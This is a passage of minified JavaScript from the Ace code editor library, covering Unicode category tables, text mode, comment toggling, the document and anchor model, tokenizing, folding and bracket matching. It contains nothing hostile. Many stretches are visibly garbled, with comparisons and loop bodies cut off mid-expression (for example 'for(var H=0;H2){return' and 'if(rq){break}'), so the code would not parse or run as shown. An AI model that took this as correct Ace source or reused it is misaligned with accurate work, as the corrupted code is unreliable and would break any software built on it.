1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF",Cc:"0000-001F007F-009F",Cf:"00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB",Co:"E000-F8FF",Cs:"D800-DFFF",Cn:"03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF"});function a(g){var f=/\w{4}/g;for(var e in g){b.packages[e]=g[e].replace(f,"\\u$&")}}});ace.define("ace/mode/text",["require","exports","module","ace/tokenizer","ace/mode/text_highlight_rules","ace/mode/behaviour/cstyle","ace/unicode","ace/lib/lang","ace/token_iterator","ace/range"],function(f,g,d){var i=f("../tokenizer").Tokenizer;var a=f("./text_highlight_rules").TextHighlightRules;var k=f("./behaviour/cstyle").CstyleBehaviour;var b=f("../unicode");var c=f("../lib/lang");var h=f("../token_iterator").TokenIterator;var e=f("../range").Range;var j=function(){this.HighlightRules=a};(function(){this.$defaultBehaviour=new k();this.tokenRe=new RegExp("^["+b.packages.L+b.packages.Mn+b.packages.Mc+b.packages.Nd+b.packages.Pc+"\\$_]+","g");this.nonTokenRe=new RegExp("^(?:[^"+b.packages.L+b.packages.Mn+b.packages.Mc+b.packages.Nd+b.packages.Pc+"\\$_]|\\s])+","g");this.getTokenizer=function(){if(!this.$tokenizer){this.$highlightRules=this.$highlightRules||new this.HighlightRules(this.$highlightRuleConfig);this.$tokenizer=new i(this.$highlightRules.getRules())}return this.$tokenizer};this.lineCommentStart="";this.blockComment="";this.toggleCommentLines=function(q,m,l,z){var F=m.doc;var p=true;var B=true;var o=Infinity;var w=m.getTabSize();var E=false;if(!this.lineCommentStart){if(!this.blockComment){return false}var C=this.blockComment.start;var t=this.blockComment.end;var x=new RegExp("^(\\s*)(?:"+c.escapeRegExp(C)+")");var y=new RegExp("(?:"+c.escapeRegExp(t)+")\\s*$");var n=function(G,H){if(u(G,H)){return}if(!p||/\S/.test(G)){F.insertInLine({row:H,column:G.length},t);F.insertInLine({row:H,column:o},C)}};var r=function(H,I){var G;if(G=H.match(y)){F.removeInLine(I,H.length-G[0].length,H.length)}if(G=H.match(x)){F.removeInLine(I,G[1].length,G[0].length)}};var u=function(G,J){if(x.test(G)){return true}var I=m.getTokens(J);for(var H=0;H2){return H%w!=w-1}else{return H%w==0}return true}}function A(G){for(var H=l;H<=z;H++){G(F.getLine(H),H)}}var v=Infinity;A(function(H,I){var G=H.search(/\S/);if(G!==-1){if(GH.length){v=H.length}}});if(o==Infinity){o=v;p=false;B=false}if(E&&o%w!=0){o=Math.floor(o/w)*w}A(B?r:n)};this.toggleBlockComment=function(l,w,s,z){var t=this.blockComment;if(!t){return}if(!t.start&&t[0]){t=t[0]}var r=new h(w,z.row,z.column);var o=r.getCurrentToken();var m=w.selection;var v=w.selection.toOrientedRange();var y,u;if(o&&/comment/.test(o.type)){var x,p;while(o&&/comment/.test(o.type)){var q=o.value.indexOf(t.start);if(q!=-1){var A=r.getCurrentTokenRow();var n=r.getCurrentTokenColumn()+q;x=new e(A,n,A,n+t.start.length);break}o=r.stepBackward()}var r=new h(w,z.row,z.column);var o=r.getCurrentToken();while(o&&/comment/.test(o.type)){var q=o.value.indexOf(t.end);if(q!=-1){var A=r.getCurrentTokenRow();var n=r.getCurrentTokenColumn()+q;p=new e(A,n,A,n+t.end.length);break}o=r.stepForward()}if(p){w.remove(p)}if(x){w.remove(x);y=x.start.row;u=-t.start.length}}else{u=t.start.length;y=s.start.row;w.insert(s.end,t.end);w.insert(s.start,t.start)}if(v.start.row==y){v.start.column+=u}if(v.end.row==y){v.end.column+=u}w.selection.fromOrientedRange(v)};this.getNextLineIndent=function(n,l,m){return this.$getIndent(l)};this.checkOutdent=function(n,l,m){return false};this.autoOutdent=function(l,m,n){};this.$getIndent=function(l){return l.match(/^\s*/)[0]};this.createWorker=function(l){return null};this.createModeDelegates=function(m){this.$embeds=[];this.$modes={};for(var n in m){if(m[n]){this.$embeds.push(n);this.$modes[n]=new m[n]()}}var l=["toggleBlockComment","toggleCommentLines","getNextLineIndent","checkOutdent","autoOutdent","transformAction","getCompletions"];for(var n=0;n=0&&g.row=0&&g.column<=h[g.row].length}function f(l,k){if(k.action!="insert"&&k.action!="remove"){a(k,"delta.action must be 'insert' or 'remove'")}if(!(k.lines instanceof Array)){a(k,"delta.lines must be an Array")}if(!k.start||!k.end){a(k,"delta.start/end must be an present")}var j=k.start;if(!d(l,k.start)){a(k,"delta.start must be contained in document")}var g=k.end;if(k.action=="remove"&&!d(l,g)){a(k,"delta.end must contained in document for 'remove' actions")}var i=g.row-j.row;var h=(g.column-(i==0?j.column:0));if(i!=k.lines.length-1||k.lines[i].length!=h){a(k,"delta.range must match delta lines")}}b.applyDelta=function(j,m,i){var n=m.start.row;var g=m.start.column;var o=j[n]||"";switch(m.action){case"insert":var p=m.lines;if(p.length===1){j[n]=o.substring(0,g)+m.lines[0]+o.substring(g)}else{var l=[n,1].concat(m.lines);j.splice.apply(j,l);j[n]=o.substring(0,g)+j[n];j[n+m.lines.length-1]+=o.substring(g)}break;case"remove":var k=m.end.column;var h=m.end.row;if(n===h){j[n]=o.substring(0,g)+o.substring(k)}else{j.splice(n,h-n+1,o.substring(0,g)+j[h].substring(k))}break}}});ace.define("ace/anchor",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"],function(c,b,d){var f=c("./lib/oop");var e=c("./lib/event_emitter").EventEmitter;var a=b.Anchor=function(h,i,g){this.$onChange=this.onChange.bind(this);this.attach(h);if(typeof g=="undefined"){this.setPosition(i.row,i.column)}else{this.setPosition(i,g)}};(function(){f.implement(this,e);this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)};this.getDocument=function(){return this.document};this.$insertRight=false;this.onChange=function(j){if(j.start.row==j.end.row&&j.start.row!=this.row){return}if(j.start.row>this.row){return}var i=g(j,{row:this.row,column:this.column},this.$insertRight);this.setPosition(i.row,i.column,true)};function h(j,i,k){var l=k?j.column<=i.column:j.column=this.document.getLength()){k.row=Math.max(0,this.document.getLength()-1);k.column=this.document.getLine(k.row).length}else{if(j<0){k.row=0;k.column=0}else{k.row=j;k.column=Math.min(this.document.getLine(k.row).length,Math.max(0,i))}}if(i<0){k.column=0}return k}}).call(a.prototype)});ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"],function(c,d,a){var g=c("./lib/oop");var h=c("./apply_delta").applyDelta;var i=c("./lib/event_emitter").EventEmitter;var b=c("./range").Range;var f=c("./anchor").Anchor;var e=function(j){this.$lines=[""];if(j.length===0){this.$lines=[""]}else{if(Array.isArray(j)){this.insertMergedLines({row:0,column:0},j)}else{this.insert({row:0,column:0},j)}}};(function(){g.implement(this,i);this.setValue=function(k){var j=this.getLength()-1;this.remove(new b(0,0,j,this.getLine(j).length));this.insert({row:0,column:0},k)};this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())};this.createAnchor=function(k,j){return new f(this,k,j)};if("aaa".split(/a/).length===0){this.$split=function(j){return j.replace(/\r\n|\r/g,"\n").split("\n")}}else{this.$split=function(j){return j.split(/\r\n|\r|\n/)}}this.$detectNewLine=function(k){var j=k.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=j?j[1]:"\n";this._signal("changeNewLineMode")};this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}};this.$autoNewLine="";this.$newLineMode="auto";this.setNewLineMode=function(j){if(this.$newLineMode===j){return}this.$newLineMode=j;this._signal("changeNewLineMode")};this.getNewLineMode=function(){return this.$newLineMode};this.isNewLine=function(j){return(j=="\r\n"||j=="\r"||j=="\n")};this.getLine=function(j){return this.$lines[j]||""};this.getLines=function(k,j){return this.$lines.slice(k,j+1)};this.getAllLines=function(){return this.getLines(0,this.getLength()) };this.getLength=function(){return this.$lines.length};this.getTextRange=function(j){return this.getLinesForRange(j).join(this.getNewLineCharacter())};this.getLinesForRange=function(m){var k;if(m.start.row===m.end.row){k=[this.getLine(m.start.row).substring(m.start.column,m.end.column)]}else{k=this.getLines(m.start.row,m.end.row);k[0]=(k[0]||"").substring(m.start.column);var j=k.length-1;if(m.end.row-m.start.row==j){k[j]=k[j].substring(0,m.end.column)}}return k};this.insertLines=function(k,j){console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead.");return this.insertFullLines(k,j)};this.removeLines=function(k,j){console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead.");return this.removeFullLines(k,j)};this.insertNewLine=function(j){console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.");return this.insertMergedLines(j,["",""])};this.insert=function(j,k){if(this.getLength()<=1){this.$detectNewLine(k)}return this.insertMergedLines(j,this.$split(k))};this.insertInLine=function(j,l){var m=this.clippedPos(j.row,j.column);var k=this.pos(j.row,j.column+l.length);this.applyDelta({start:m,end:k,action:"insert",lines:[l]},true);return this.clonePos(k)};this.clippedPos=function(m,k){var l=this.getLength();if(m===undefined){m=l}else{if(m<0){m=0}else{if(m>=l){m=l-1;k=undefined}}}var j=this.getLine(m);if(k==undefined){k=j.length}k=Math.min(Math.max(k,0),j.length);return{row:m,column:k}};this.clonePos=function(j){return{row:j.row,column:j.column}};this.pos=function(k,j){return{row:k,column:j}};this.$clipPosition=function(j){var k=this.getLength();if(j.row>=k){j.row=Math.max(0,k-1);j.column=this.getLine(k-1).length}else{j.row=Math.max(0,j.row);j.column=Math.min(Math.max(j.column,0),this.getLine(j.row).length)}return j};this.insertFullLines=function(l,j){l=Math.min(Math.max(l,0),this.getLength());var k=0;if(l0;var k=s=0){this.applyDelta({start:this.pos(j,this.getLine(j).length),end:this.pos(j+1,0),action:"remove",lines:["",""]})}};this.replace=function(k,l){if(!(k instanceof b)){k=b.fromPoints(k.start,k.end)}if(l.length===0&&k.isEmpty()){return k.start}if(l==this.getTextRange(k)){return k.end}this.remove(k);var j;if(l){j=this.insert(k.start,l)}else{j=k.start}return j};this.applyDeltas=function(k){for(var j=0;j=0;j--){this.revertDelta(k[j])}};this.applyDelta=function(l,j){var k=l.action=="insert";if(k?l.lines.length<=1&&!l.lines[0]:!b.comparePoints(l.start,l.end)){return}if(k&&l.lines.length>20000){this.$splitAndapplyLargeDelta(l,20000)}h(this.$lines,l,j);this._signal("change",l)};this.$splitAndapplyLargeDelta=function(q,j){var s=q.lines;var m=s.length;var r=q.start.row;var k=q.start.column;var o=0,p=0;do{o=p;p+=j-1;var n=s.slice(o,p);if(p>m){q.lines=n;q.start.row=r+o;q.start.column=k;break}n.push("");this.applyDelta({start:this.pos(r+o,k),end:this.pos(r+p,k=0),action:q.action,lines:n},true)}while(true)};this.revertDelta=function(j){this.applyDelta({start:this.clonePos(j.start),end:this.clonePos(j.end),action:(j.action=="insert"?"remove":"insert"),lines:j.lines.slice()})};this.indexToPosition=function(o,n){var k=this.$lines||this.getAllLines();var m=this.getNewLineCharacter().length;for(var p=n||0,j=k.length;p20){g.running=setTimeout(g.$worker,20);break}}g.currentLine=p;if(l==-1){l=p}if(o<=l){g.fireUpdateEvent(o,l)}}};(function(){f.implement(this,e);this.setTokenizer=function(g){this.tokenizer=g;this.lines=[];this.states=[];this.start(0)};this.setDocument=function(g){this.doc=g;this.lines=[];this.states=[];this.stop()};this.fireUpdateEvent=function(i,g){var h={first:i,last:g};this._signal("update",{data:h})};this.start=function(g){this.currentLine=Math.min(g||0,this.currentLine,this.doc.getLength());this.lines.splice(this.currentLine,this.lines.length);this.states.splice(this.currentLine,this.states.length);this.stop();this.running=setTimeout(this.$worker,700)};this.scheduleStart=function(){if(!this.running){this.running=setTimeout(this.$worker,700)}};this.$updateOnChange=function(j){var h=j.start.row;var g=j.end.row-h;if(g===0){this.lines[h]=null}else{if(j.action=="remove"){this.lines.splice(h,g+1,null);this.states.splice(h,g+1,null)}else{var i=Array(g+1);i.unshift(h,1);this.lines.splice.apply(this.lines,i);this.states.splice.apply(this.states,i)}}this.currentLine=Math.min(h,this.currentLine,this.doc.getLength());this.stop()};this.stop=function(){if(this.running){clearTimeout(this.running)}this.running=false};this.getTokens=function(g){return this.lines[g]||this.$tokenizeRow(g)};this.getState=function(g){if(this.currentLine==g){this.$tokenizeRow(g)}return this.states[g]||"start"};this.$tokenizeRow=function(j){var g=this.doc.getLine(j);var i=this.states[j-1];var h=this.tokenizer.getLineTokens(g,i,j);if(this.states[j]+""!==h.state+""){this.states[j]=h.state;this.lines[j+1]=null;if(this.currentLine>j+1){this.currentLine=j+1}}else{if(this.currentLine==j){this.currentLine=j+1}}return this.lines[j]=h.tokens}}).call(a.prototype);b.BackgroundTokenizer=a});ace.define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],function(b,a,c){var g=b("./lib/lang");var e=b("./lib/oop");var f=b("./range").Range;var d=function(i,h,j){this.setRegexp(i);this.clazz=h;this.type=j||"text"};(function(){this.MAX_RANGES=500;this.setRegexp=function(h){if(this.regExp+""==h+""){return}this.regExp=h;this.cache=[]};this.update=function(p,q,r,l){if(!this.regExp){return}var k=l.firstRow,m=l.lastRow;for(var o=k;o<=m;o++){var h=this.cache[o];if(h==null){h=g.getMatchOffsets(r.getLine(o),this.regExp);if(h.length>this.MAX_RANGES){h=h.slice(0,this.MAX_RANGES)}h=h.map(function(i){return new f(o,i.offset,o,i.offset+i.length)});this.cache[o]=h.length?h:""}for(var n=h.length;n--;){q.drawSingleLineMarker(p,h[n].toScreenRange(r),this.clazz,l)}}}}).call(d.prototype);a.SearchHighlight=d});ace.define("ace/edit_session/fold_line",["require","exports","module","ace/range"],function(b,a,c){var d=b("../range").Range;function e(f,h){this.foldData=f;if(Array.isArray(h)){this.folds=h}else{h=this.folds=[h]}var g=h[h.length-1];this.range=new d(h[0].start.row,h[0].start.column,g.end.row,g.end.column);this.start=this.range.start;this.end=this.range.end;this.folds.forEach(function(i){i.setFoldLine(this)},this)}(function(){this.shiftRow=function(f){this.start.row+=f;this.end.row+=f;this.folds.forEach(function(g){g.start.row+=f;g.end.row+=f})};this.addFold=function(f){if(f.sameRow){if(f.start.rowthis.endRow){throw new Error("Can't add a fold to this FoldLine as it has no connection")}this.folds.push(f);this.folds.sort(function(h,g){return -h.range.compareEnd(g.start.row,g.start.column)});if(this.range.compareEnd(f.start.row,f.start.column)>0){this.end.row=f.end.row;this.end.column=f.end.column}else{if(this.range.compareStart(f.end.row,f.end.column)<0){this.start.row=f.start.row;this.start.column=f.start.column}}}else{if(f.start.row==this.end.row){this.folds.push(f);this.end.row=f.end.row;this.end.column=f.end.column}else{if(f.end.row==this.start.row){this.folds.unshift(f);this.start.row=f.start.row;this.start.column=f.start.column}else{throw new Error("Trying to add fold to FoldRow that doesn't have a matching row")}}}f.foldLine=this};this.containsRow=function(f){return f>=this.start.row&&f<=this.end.row};this.walk=function(p,g,k){var f=0,o=this.folds,l,m,n,j=true;if(g==null){g=this.end.row;k=this.end.column}for(var h=0;h0){continue}var g=e(o,h.start);if(m===0){return j&&g!==0?-k-2:k}if(g>0||(g===0&&!j)){return k}return -k-1}return -k-1};this.add=function(h){var g=!h.isEmpty();var j=this.pointIndex(h.start,g);if(j<0){j=-j-1}var i=this.pointIndex(h.end,g,j);if(i<0){i=-i-1}else{i++}return this.ranges.splice(j,i-j,h)};this.addList=function(h){var j=[];for(var g=h.length;g--;){j.push.apply(j,this.add(h[g]))}return j};this.substractPoint=function(h){var g=this.pointIndex(h);if(g>=0){return this.ranges.splice(g,1)}};this.merge=function(){var m=[];var l=this.ranges;l=l.sort(function(n,i){return e(n.start,i.start)});var j=l[0],g;for(var h=1;h=0};this.containsPoint=function(g){return this.pointIndex(g)>=0};this.rangeAtPoint=function(h){var g=this.pointIndex(h);if(g>=0){return this.ranges[g]}};this.clipRows=function(j,h){var m=this.ranges;if(m[0].start.row>h||m[m.length-1].start.rowt){break}if(g.start.row==t&&g.start.column>=j.column){if(g.start.column==j.column&&this.$insertRight){}else{g.start.column+=p;g.start.row+=q}}if(g.end.row==t&&g.end.column>=j.column){if(g.end.column==j.column&&this.$insertRight){continue}if(g.end.column==j.column&&p>0&&og.start.column&&g.end.column==h[o+1].start.column){g.end.column-=p}}g.end.column+=p;g.end.row+=q}}if(q!=0&&o=j){return n}else{if(n.end.row>j){return null}}}return null};this.getNextFoldLine=function(j,k){var m=this.$foldData;var l=0;if(k){l=m.indexOf(k)}if(l==-1){l=0}for(l;l=j){return n}}return null};this.getFoldedRowCount=function(p,n){var m=this.$foldData,k=n-p+1;for(var l=0;l=n){if(q=p){k-=n-q}else{k=0}}break}else{if(j>=p){if(q>=p){k-=j-q}else{k-=j-p+1}}}}return k};this.$addFoldLine=function(i){this.$foldData.push(i);this.$foldData.sort(function(k,j){return k.start.row-j.start.row});return i};this.addFold=function(t,n){var j=this.$foldData;var r=false;var q;if(t instanceof a){q=t}else{q=new a(n,t);q.collapseChildren=n.collapseChildren}this.$clipRangeToDocument(q.range);var w=q.start.row;var k=q.start.column;var l=q.end.row;var p=q.end.column;if(!(w0){this.removeFolds(u);u.forEach(function(i){q.addSubFold(i)})}for(var m=0;m0){this.foldAll(i.start.row+1,i.end.row,i.collapseChildren-1)}i.subFolds=[]};this.expandFolds=function(i){i.forEach(function(j){this.expandFold(j)},this)};this.unfold=function(i,k){var j,m;if(i==null){j=new g(0,0,this.getLength(),0);k=true}else{if(typeof i=="number"){j=new g(i,0,i,this.getLine(i).length)}else{if("row" in i){j=g.fromPoints(i,i)}else{j=i}}}m=this.getFoldsInRangeList(j);if(k){this.removeFolds(m)}else{var l=m;while(l.length){this.expandFolds(l);l=this.getFoldsInRangeList(j)}}if(m.length){return m}};this.isRowFolded=function(i,j){return !!this.getFoldLine(i,j)};this.getRowFoldEnd=function(i,j){var k=this.getFoldLine(i,j);return k?k.end.row:i};this.getRowFoldStart=function(i,j){var k=this.getFoldLine(i,j);return k?k.start.row:i};this.getFoldDisplayLine=function(n,j,o,i,l){if(i==null){i=n.start.row}if(l==null){l=0}if(j==null){j=n.end.row}if(o==null){o=this.getLine(j).length}var m=this.doc;var k="";n.walk(function(s,r,q,p){if(rq){break}}}while(l&&p.test(l.type));l=m.stepBackward()}else{l=m.getCurrentToken()}n.end.row=m.getCurrentTokenRow();n.end.column=m.getCurrentTokenColumn()+l.value.length-2;return n}};this.foldAll=function(k,j,p){if(p==undefined){p=100000}var m=this.foldWidgets;if(!m){return}j=j||this.getLength();k=k||0;for(var o=k;o=k){o=i.end.row;try{var l=this.addFold("...",i);if(l){l.collapseChildren=p}}catch(n){}}}};this.$foldStyles={"manual":1,"markbegin":1,"markbeginend":1};this.$foldStyle="markbegin";this.setFoldStyle=function(i){if(!this.$foldStyles[i]){throw new Error("invalid fold style: "+i+"["+Object.keys(this.$foldStyles).join(", ")+"]")}if(this.$foldStyle==i){return}this.$foldStyle=i;if(i=="manual"){this.unfold()}var j=this.$foldMode;this.$setFolding(null);this.$setFolding(j)};this.$setFolding=function(i){if(this.$foldMode==i){return}this.$foldMode=i;this.off("change",this.$updateFoldWidgets);this.off("tokenizerUpdate",this.$tokenizerUpdateFoldWidgets);this._signal("changeAnnotation");if(!i||this.$foldStyle=="manual"){this.foldWidgets=null;return}this.foldWidgets=[];this.getFoldWidget=i.getFoldWidget.bind(i,this,this.$foldStyle);this.getFoldWidgetRange=i.getFoldWidgetRange.bind(i,this,this.$foldStyle);this.$updateFoldWidgets=this.updateFoldWidgets.bind(this);this.$tokenizerUpdateFoldWidgets=this.tokenizerUpdateFoldWidgets.bind(this);this.on("change",this.$updateFoldWidgets);this.on("tokenizerUpdate",this.$tokenizerUpdateFoldWidgets)};this.getParentFoldRangeData=function(o,l){var n=this.foldWidgets;if(!n||(l&&n[o])){return{}}var m=o-1,j;while(m>=0){var p=n[m];if(p==null){p=n[m]=this.getFoldWidget(m)}if(p=="start"){var k=this.getFoldWidgetRange(m);if(!j){j=k}if(k&&k.end.row>=o){break}}m--}return{range:m!==-1&&k,firstRange:j}};this.onFoldWidgetClick=function(m,l){l=l.domEvent;var j={children:l.shiftKey,all:l.ctrlKey||l.metaKey,siblings:l.altKey};var i=this.$toggleFoldWidget(m,j);if(!i){var k=(l.target||l.srcElement);if(k&&/ace_fold-widget/.test(k.className)){k.className+=" ace_invalid"}}};this.$toggleFoldWidget=function(p,q){if(!this.getFoldWidget){return}var n=this.getFoldWidget(p);var r=this.getLine(p);var i=n==="end"?-1:1;var m=this.getFoldAt(p,i===-1?0:r.length,i);if(m){if(q.children||q.all){this.removeFold(m)}else{this.expandFold(m)}return m}var l=this.getFoldWidgetRange(p,true);if(l&&!l.isMultiLine()){m=this.getFoldAt(l.start.row,l.start.column,1);if(m&&l.isEqual(m.range)){this.removeFold(m);return m}}if(q.siblings){var k=this.getParentFoldRangeData(p);if(k.range){var o=k.range.start.row+1;var j=k.range.end.row}this.foldAll(o,j,q.all?10000:0)}else{if(q.children){j=l?l.end.row:this.getLength();this.foldAll(p+1,j,q.all?10000:0)}else{if(l){if(q.all){l.collapseChildren=10000}this.addFold("...",l)}}}return l};this.toggleFoldWidget=function(m){var l=this.selection.getCursor().row;l=this.getRowFoldStart(l);var i=this.$toggleFoldWidget(l,{});if(i){return}var k=this.getParentFoldRangeData(l,true);i=k.range||k.firstRange;if(i){l=i.start.row;var j=this.getFoldAt(l,this.getLine(l).length,1);if(j){this.removeFold(j)}else{this.addFold("...",i)}}};this.updateFoldWidgets=function(l){var k=l.start.row;var i=l.end.row-k;if(i===0){this.foldWidgets[k]=null}else{if(l.action=="remove"){this.foldWidgets.splice(k,i+1,null)}else{var j=Array(i+1);j.unshift(k,1);this.foldWidgets.splice.apply(this.foldWidgets,j)}}};this.tokenizerUpdateFoldWidgets=function(j){var i=j.data;if(i.first!=i.last){if(this.foldWidgets.length>i.first){this.foldWidgets.splice(i.first,this.foldWidgets.length)}}}}c.Folding=b});ace.define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"],function(c,b,d){var e=c("../token_iterator").TokenIterator;var f=c("../range").Range;function a(){this.findMatchingBracket=function(g,i){if(g.column==0){return null}var j=i||this.getLine(g.row).charAt(g.column-1);if(j==""){return null}var h=j.match(/([\(\[\{])|([\)\]\}])/);if(!h){return null}if(h[1]){return this.$findClosingBracket(h[1],g)}else{return this.$findOpeningBracket(h[2],g)}};this.getBracketRange=function(m){var g=this.getLine(m.row);var k=true,h;var j=g.charAt(m.column-1);var i=j&&j.match(/([\(\[\{])|([\)\]\}])/);if(!i){j=g.charAt(m.column);m={row:m.row,column:m.column+1};i=j&&j.match(/([\(\[\{])|([\)\]\}])/);k=false}if(!i){return null}if(i[1]){var l=this.$findClosingBracket(i[1],m);if(!l){return null}h=f.fromPoints(m,l);if(!k){h.end.column++;h.start.column--}h.cursor=h.end}else{var l=this.$findOpeningBracket(i[2],m);if(!l){return null}h=f.fromPoints(l,m);if(!k){h.start.column++;h.end.column--}h.cursor=h.start}return h};this.$brackets={")":"(","(":")","]":"[","[":"]","{":"}","}":"{"};this.$findOpeningBracket=function(g,m,p){var j=this.$brackets[g];var k=1;var l=new e(this,m.row,m.column);var h=l.getCurrentToken();if(!h){h=l.stepForward()}if(!h){return}if(!p){p=new RegExp("(\\.?"+h.type.replace(".","\\.").replace("rparen",".paren").replace(/\b(?:end)\b/,"(?:start|begin|end)")+")+")}var n=m.column-l.getCurrentTokenColumn()-2;var o=h.value;while(true){while(n>=0){var i=o.charAt(n);if(i==j){k-=1;if(k==0){return{row:l.getCurrentTokenRow(),column:n+l.getCurrentTokenColumn()}}}else{if(i==g){k+=1}}n-=1}do{h=l.stepBackward()}while(h&&!p.test(h.type));if(h==null){break}o=h.value;n=o.length-1}return null};this.$findClosingBracket=function(g,m,q){var h=this.$brackets[g];var k=1;var l=new e(this,m.row,m.column);var i=l.getCurrentToken();if(!i){i=l.stepForward()}if(!i){return}if(!q){q=new RegExp("(\\.?"+i.type.replace(".","\\.").replace("lparen",".paren").replace(/\b(?:start|begin)\b/,"(?:start|begin|end)")+")+")}var n=m.column-l.getCurrentTokenColumn();while(true){var o=i.value;var p=o.length;while(nA){this.$docRowCache.splice(A,y);this.$screenRowCache.splice(A,y)}};this.$getRowCacheIndex=function(z,C){var y=0;var B=z.length-1;while(y<=B){var A=(y+B)>>1;var D=z[A];if(C>D){y=A+1}else{if(C=A){break}}}z=B[y];if(!z){return null}z.index=y;z.start=D-z.value.length;return z};this.setUndoManager=function(z){this.$undoManager=z;this.$deltas=[];this.$deltasDoc=[];this.$deltasFold=[];if(this.$informUndoManager){this.$informUndoManager.cancel()}if(z){var y=this;this.$syncInformUndoManager=function(){y.$informUndoManager.cancel();if(y.$deltasFold.length){y.$deltas.push({group:"fold",deltas:y.$deltasFold});y.$deltasFold=[]}if(y.$deltasDoc.length){y.$deltas.push({group:"doc",deltas:y.$deltasDoc});y.$deltasDoc=[]}if(y.$deltas.length>0){z.execute({action:"aceupdate",args:[y.$deltas,y],merge:y.mergeUndoDeltas})}y.mergeUndoDeltas=false;y.$deltas=[]};this.$informUndoManager=b.delayedCall(this.$syncInformUndoManager)}};this.markUndoGroup=function(){if(this.$syncInformUndoManager){this.$syncInformUndoManager()}};this.$defaultUndoManager={undo:function(){},redo:function(){},reset:function(){}};this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager};this.getTabString=function(){if(this.getUseSoftTabs()){return b.stringRepeat(" ",this.getTabSize())}else{return"\t"}};this.setUseSoftTabs=function(y){this.setOption("useSoftTabs",y)};this.getUseSoftTabs=function(){return 